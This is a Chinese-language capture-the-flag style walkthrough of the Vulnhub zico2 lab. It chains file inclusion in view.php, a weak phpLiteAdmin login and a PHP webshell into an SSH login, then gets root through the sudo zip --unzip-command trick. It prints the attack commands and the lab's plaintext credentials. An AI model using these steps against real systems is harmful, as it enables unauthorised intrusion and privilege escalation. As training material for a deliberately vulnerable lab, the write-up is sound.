Vulnhub 靶机 zico2 write up phpLiteAdmin cms写入马+另一处文件包含页面 getshell sudo zip 提权

0x00 靶机搭建

• 下载链接

   https://download.vulnhub.com/zico/zico2.ova
  

• 运行环境
  VirtualBox
  网络 仅主机 kali 也配置 该网卡

• 目标
  root 权限 flag 文件

0x01 信息收集

• ip
  nmap netdiscover 都可
  

探测出为 192.168.56.108

• 端口服务识别

    nmap -sC -sV -A -p- 192.168.56.108 
  

22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

111/tcp open rpcbind 2-4 (RPC #100000)

43985/tcp open status 1 (RPC #100024)

Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5

0x02 漏洞挖掘

思路一：80 http

（1）web 首页+ 目录扫描 看有没有cms
有的话直接 搜对应漏洞
（2）没有的话 看看源码 等 每个功能点 找漏洞 手工＋工具

思路二：22ssh 爆破

步骤一：80web探测

（1）开启BP 点击主页各个功能点

发现一处可疑点 可能存在文件包含

…/etc/passwd
…/…/…/等等 尝试

发现 果然存在 文件包含

如果 再找到一处上传点 就可以 getshell了
首页没发现其他可利用的功能点

（2） 目录扫描

（2）挨个访问查看
发现 http://192.168.56.108/dbadmin/

发现目录遍历漏洞

点击 test_db.php

发现
phpLiteAdmin v1.9.3 cms

（3） bp爆破弱口令
admin 登录成功

（4）翻翻数据库 看没有账号密码

	root 	34kroot34
	zico  zico2215@

（5）尝试ssh登录 均失败

步骤二：寻找cms漏洞并利用

（1） 寻找漏洞
searchsploit phpliteadmin
searchsploit -m

（2）漏洞利用
创建hack.php

创建a表

当前目录下会出现hack.php 直接配合 文件上传 连接即可

/usr/databases/hack.php

步骤三：文件包含+上传蚁剑连接

http://192.168.56.108/view.php?page=…/…/usr/databases/hack.php
连接成功

步骤四：翻翻文件

在home 目录下 zico用户 翻到 一个wordpress目录

看看wp-config 配置 会不会有 账号密码 用来ssh登录

账号 ：zico
密码：sWfCsfJSPV9H3AmQzw8

步骤五：尝试ssh登录

登录成功

步骤六：提权

（1）sudo -l 查看
发现可以不用密码 以root权限执行 /bin/tar 和 /usr/bin/zip

（2）用zip执行命令

touch 1.txt
sudo zip 1.zip 1.txt -T --unzip-command="sh -c ifconfig"

执行成功

（3）提权

sudo zip 1.zip 1.txt -T --unzip-command="sh -c /bin/bash"

提权成功

0x03 总结

通过web服务主页发现一处文件包含漏洞，目录扫描到一个phpliteadmin cms，该cms可以直接创建php文件 配合文件包含 getshell，提权通过 sudo -l 配置问题，直接用任意用户以root身份用zip执行系统命令。